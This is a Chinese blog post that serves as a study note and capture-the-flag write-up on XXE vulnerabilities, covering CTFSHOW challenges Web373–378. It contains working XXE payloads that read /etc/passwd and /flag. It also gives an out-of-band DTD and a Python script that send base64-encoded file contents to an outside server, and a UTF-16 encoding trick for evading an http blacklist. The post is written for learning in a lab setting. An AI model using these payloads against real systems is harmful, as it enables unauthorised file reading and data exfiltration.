XXE漏洞学习与总结

yansui Lv3

XXE漏洞学习与总结

一、什么事XXE

先得好好学学啥叫XML

再来学啥事XXE

我发现想在介绍XXE的文章里边看懂啥叫实体啥叫参数实体是一件不可能的事情

二、CTFSHOW题解

Web373

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);

从payload all the things里边偷一个payload:

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

改一下:(根元素不能是ctfshow)

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<test>
<ctfshow>&file;</ctfshow>
</test>

这题做的不明不白的

Web374

最后还是抄了yu22x师傅的wp

https://blog.csdn.net/miuzzx/article/details/112347932v

vps上起Apache服务参考了https://www.west.cn/docs/421537.html

稍微看看具体原理:

有关%即参数实体:

在XML文件中,如果一个实体名前面带有百分号(%),则表示这是一个参数实体(Parameter Entity)。XML中的实体是用来表示特定字符、字符串或文本片段的声明。实体的目的是为了方便在XML文档中引用一些特殊字符或重复使用一些文本片段。
有两种类型的实体:一般实体(General Entity)和参数实体(Parameter Entity)。它们的声明方式稍有不同:
一般实体(General Entity):一般实体用于表示单个字符或文本片段,并且在DTD(Document Type Definition)或XML文档中用&实体名;来引用。一般实体以&开头,以;结尾,例如:&lt;表示小于符号 <。
参数实体(Parameter Entity):参数实体用于定义一组实体,它通常在DTD中使用。在DTD中,参数实体的声明以百分号(%)开头,以分号(;)结尾,例如:<!ENTITY % myEntity “Hello, World!”>。参数实体本身不会被引用,但可以在其他实体或DTD中使用。

payload引用实体aaa->aaa引用DTD->DTD引用xxe->xxe引用file->file读取flag

test.dtd:

1
2
3
<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://xxx:9999/%file;'> ">
%dtd;
%xxe;

payload:

1
2
3
4
5
6
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://xxx/test.dtd">
%aaa;
]>
<root>123</root>

Web375

直接不写XML文件的版本号就行

Web376

跟上一题一样 梭哈了

Web377

payload其实和上面的题目一样,使用UTF-16来bypass对http的黑名单

exp:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = 'http://77e47474-e964-47c7-9ab6-9cfd982addeb.challenge.ctf.show/'
payload = """<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://121.37.219.181/test.dtd">
%aaa;
]>
<root>123</root>"""
payload = payload.encode('utf-16')
print(payload)
requests.post(url ,data=payload)

Web378

抓个包就知道怎么做啦

payload:

1
2
3
4
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>&file;</username><password>&file;</password></user>
  • 标题: XXE漏洞学习与总结
  • 作者: yansui
  • 创建于: 2023-08-05 21:09:08
  • 更新于: 2023-08-06 20:22:33
  • 链接: http://yansui.xyz/2023/08/05/XXE/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论